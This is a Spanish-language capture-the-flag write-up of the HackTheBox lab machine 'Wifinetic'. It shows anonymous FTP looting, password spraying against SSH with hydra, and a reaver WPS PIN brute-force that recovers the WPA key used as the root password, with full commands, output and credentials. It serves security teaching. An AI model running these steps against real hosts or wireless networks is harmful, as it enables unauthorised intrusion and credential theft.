Post

HTB Wifinetic

Resumen

logo

Wifinetic fue una máquina fácil y divertida de realizar. La intrusión consiste en explorar un servidor FTP que cuenta con acceso anónimo. Después de eso, se encuentra un archivo que contiene una lista de usuarios del sistema y otro que parece ser una credencial. Al intentar iniciar sesión por SSH, se obtiene acceso al sistema. Posteriormente, al revisar las capabilities del host, se descubre que el programa Reaver está presente, lo que sugiere la posibilidad de realizar un ataque WiFi. Con esta información, se examinan las interfaces de red y se observa que el equipo tiene una IP de un gateway. Además, existe una interfaz que cuenta con capacidades de monitoreo. Gracias a esto, se puede llevar a cabo el ataque y obtener las contraseñas del usuario root. En mi opinión, fue una máquina excelente que me obligó a salir un poco de mi zona de confort y aprender sobre ataques inalámbricos para enumerar una clase de información diferente dentro del equipo y lograr completar la máquina.

Reconocimiento

Para comenzar, se realiza un ping para verificar la conectividad con la máquina

1
2
3
4
5
6
7
ping -c 1 10.10.11.247

PING 10.10.11.247 (10.10.11.247) 56(84) bytes of data.
64 bytes from 10.10.11.247: icmp_seq=1 ttl=63 time=261 ms

--- 10.10.11.247 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms

Escaneo de Puertos

Ahora es necesario revisar qué puertos están abiertos, para luego identificar las tecnologías y versiones que se están ejecutando en ellos.Para comenzar, se puede ejecutar el siguiente comando para visualizar los puertos:

1
2
3
4
5
6
7
8
9
nmap -p- --min-rate 2000 10.10.11.247 -Pn -oG ports

Nmap scan report for 10.10.11.247 (10.10.11.247)
Host is up (0.17s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
53/tcp open  domain

Después, se pueden ver las versiones que se ejecutan en cada uno con el siguiente comando:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
nmap -p21,22,53 -sVC 10.10.11.247 -Pn -oN versions
Nmap scan report for 10.10.11.247 (10.10.11.247)
Host is up (0.26s latency).

PORT   STATE SERVICE    VERSION
21/tcp open  ftp        vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.14.100
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 ftp      ftp          4434 Jul 31 11:03 MigrateOpenWrt.txt
| -rw-r--r--    1 ftp      ftp       2501210 Jul 31 11:03 ProjectGreatMigration.pdf
| -rw-r--r--    1 ftp      ftp         60857 Jul 31 11:03 ProjectOpenWRT.pdf
| -rw-r--r--    1 ftp      ftp         40960 Sep 11 15:25 backup-OpenWrt-2023-07-26.tar
|_-rw-r--r--    1 ftp      ftp         52946 Jul 31 11:03 employees_wellness.pdf
22/tcp open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
53/tcp open  tcpwrapped
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Es una buena idea guardar toda la información obtenida en archivos en caso de que sea necesaria en el futuro.

Enumeración

FTP

Según la información proporcionada por Nmap, el servidor FTP cuenta con la posibilidad de conectarse sin usar contraseña con el usuario anonymous. Por lo tanto, se puede realizar lo siguiente:

1
2
3
4
5
6
7
ftp anonymous@10.10.11.247
Connected to 10.10.11.247.
220 (vsFTPd 3.0.3)
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

Ahora que se cuenta con acceso, se pueden listar los archivos con el comando dir, para luego traerlos todos al servidor de atacante con mget.

1
2
3
4
5
6
7
8
9
10
ftp> dir
229 Entering Extended Passive Mode (|||43044|)
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp          4434 Jul 31 11:03 MigrateOpenWrt.txt
-rw-r--r--    1 ftp      ftp       2501210 Jul 31 11:03 ProjectGreatMigration.pdf
-rw-r--r--    1 ftp      ftp         60857 Jul 31 11:03 ProjectOpenWRT.pdf
-rw-r--r--    1 ftp      ftp         40960 Sep 11 15:25 backup-OpenWrt-2023-07-26.tar
-rw-r--r--    1 ftp      ftp         52946 Jul 31 11:03 employees_wellness.pdf
226 Directory send OK.
ftp> mget *

Al extraer el archivo .tar, se puede observar que contiene información variada y relevante, como varios archivos de configuración del servidor y otros documentos importantes. Entre los archivos más relevantes se encuentra lo siguiente:

El archivo /etc/passwd del Host.

1
2
3
4
5
6
7
8
9
10
root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
ntp:x:123:123:ntp:/var/run/ntp:/bin/false
dnsmasq:x:453:453:dnsmasq:/var/run/dnsmasq:/bin/false
logd:x:514:514:logd:/var/run/logd:/bin/false
ubus:x:81:81:ubus:/var/run/ubus:/bin/false
netadmin:x:999:999::/home/netadmin:/bin/false

A partir de esto, se pueden extraer algunos nombres de usuarios que podrían formar parte del equipo.

Por otro lado, dentro de la carpeta config se encuentra un archivo llamado wireless en el que se guarda una contraseña.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
config wifi-device 'radio0'
	option type 'mac80211'
	option path 'virtual/mac80211_hwsim/hwsim0'
	option cell_density '0'
	option channel 'auto'
	option band '2g'
	option txpower '20'

config wifi-device 'radio1'
	option type 'mac80211'
	option path 'virtual/mac80211_hwsim/hwsim1'
	option channel '36'
	option band '5g'
	option htmode 'HE80'
	option cell_density '0'

config wifi-iface 'wifinet0'
	option device 'radio0'
	option mode 'ap'
	option ssid 'OpenWrt'
	option encryption 'psk'
	option key 'VeRyUniUqWiFIPasswrd1!'
	option wps_pushbutton '1'

config wifi-iface 'wifinet1'
	option device 'radio1'
	option mode 'sta'
	option network 'wwan'
	option ssid 'OpenWrt'
	option encryption 'psk'
	option key 'VeRyUniUqWiFIPasswrd1!'

Explotación

Con esto en mente, se puede suponer que algún usuario tal vez haga uso de la contraseña VeRyUniUqWiFIPasswrd1!. Para esto se puede realizar la validación por medio del servicio SSH, mediante Hydra.

Para hacer esto, es necesario extraer los usuarios del archivo, pero para evitar hacerlo manualmente, se puede utilizar la herramienta ‘awk’ con el siguiente comando:

1
cat passwd  | awk '{print $1}' FS=":" > usuarios  ; cat usuarios
1
2
3
4
5
6
7
8
9
10
root
daemon
ftp
network
nobody
ntp
dnsmasq
logd
ubus
netadmin

Ahora solo hace falta ejecutar el siguiente comando de Hydra para probar la conexión:

1
hydra -L usuarios -p VeRyUniUqWiFIPasswrd1!  10.10.11.247  ssh
1
2
[22][ssh] host: 10.10.11.247   login: netadmin   password: VeRyUniUqWiFIPasswrd1!
1 of 1 target successfully completed, 1 valid password found

Por lo tanto, se puede ingresar al equipo haciendo uso de esas credenciales.

1
2
3
4
5
ssh netadmin@10.10.11.247
netadmin@10.10.11.247's password: VeRyUniUqWiFIPasswrd1!

Last login: Tue Sep 12 12:46:00 2023 from 10.10.14.23
netadmin@wifinetic:~$

Escalada de Privilegios

Al listar las capabilities, se puede ver lo siguiente:

Las capacidades de Linux proporcionan un subconjunto de los privilegios de root disponibles a un proceso.

1
2
3
4
5
6
7
getcap -r / 2>/dev/null

/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/reaver = cap_net_raw+ep

En lo anterior, un programa que no es común es reaver, así que vamos a investigar para qué sirve.

Reaver es una herramienta que permite realizar ataques de fuerza bruta contra puntos de acceso que tienen activado el WPS (Wifi Protected Setup)

Por lo que se puede pensar que es necesario realizar algún ataque a alguna red que se encuentre disponible. Para esto, vamos a revisar las interfaces de red con las que cuenta el equipo, para ver si tiene múltiples redes.

1
ifconfig
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.11.247  netmask 255.255.254.0  broadcast 10.10.11.255
        inet6 dead:beef::250:56ff:feb9:d811  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::250:56ff:feb9:d811  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b9:d8:11  txqueuelen 1000  (Ethernet)
        RX packets 74803  bytes 5626235 (5.6 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 73182  bytes 4785461 (4.7 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 18518  bytes 1111880 (1.1 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 18518  bytes 1111880 (1.1 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

mon0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        unspec 02-00-00-00-02-00-30-3A-00-00-00-00-00-00-00-00  txqueuelen 1000  (UNSPEC)
        RX packets 81878  bytes 14415672 (14.4 MB)
        RX errors 0  dropped 81878  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.1  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::ff:fe00:0  prefixlen 64  scopeid 0x20<link>
        ether 02:00:00:00:00:00  txqueuelen 1000  (Ethernet)
        RX packets 2738  bytes 258324 (258.3 KB)
        RX errors 0  dropped 375  overruns 0  frame 0
        TX packets 3183  bytes 369149 (369.1 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.23  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::ff:fe00:100  prefixlen 64  scopeid 0x20<link>
        ether 02:00:00:00:01:00  txqueuelen 1000  (Ethernet)
        RX packets 811  bytes 112035 (112.0 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2738  bytes 307608 (307.6 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan2: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        ether 02:00:00:00:02:00  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Al revisar la información proporcionada, se pueden observar varios puntos interesantes, como por ejemplo:

  • Las interfaces wlan0 y wlan1 pertenecen a la misma red. Sin embargo, la wlan0 tiene la dirección de red .1, que comúnmente pertenece al gateway. Por lo tanto, si se quiere realizar un ataque, la dirección MAC de este equipo sería BSSID (Identificador de red).”

  • Existe una interfaz llamada mon0 y, al investigar un poco en internet, parece que las interfaces que cuentan con este nombre comúnmente se utilizan para la tarea de monitorear la red. Por lo tanto, puede ser clave para realizar un ataque con reaver

Por lo tanto, se concluye que se puede realizar un ataque a la red a la que pertenece la interfaz wlan0 mediante la interfaz mon0, con la ayuda de la herramienta Reaver. Esto se puede hacer con el siguiente comando:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
reaver -b 02:00:00:00:00:00 -i mon0 -v

Reaver v1.6.5 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Waiting for beacon from 02:00:00:00:00:00
[+] Received beacon from 02:00:00:00:00:00
[+] Trying pin "12345670"
[!] Found packet with bad FCS, skipping...
[+] Associated with 02:00:00:00:00:00 (ESSID: OpenWrt)
[+] Trying pin "12345670"
[+] Associated with 02:00:00:00:00:00 (ESSID: OpenWrt)
[+] Trying pin "12345670"
[+] Associated with 02:00:00:00:00:00 (ESSID: OpenWrt)
[+] WPS PIN: '12345670'
[+] WPA PSK: 'WhatIsRealAnDWhAtIsNot51121!'
[+] AP SSID: 'OpenWrt'
netadmin@wifinetic:~$

Ahora, con la credencial obtenida, puedes intentar conectarte como usuario root al equipo

1
2
3
ssh root@10.10.11.247
root@10.10.11.247's password: WhatIsRealAnDWhAtIsNot51121!
root@wifinetic:~#
This post is licensed under CC BY 4.0 by the author.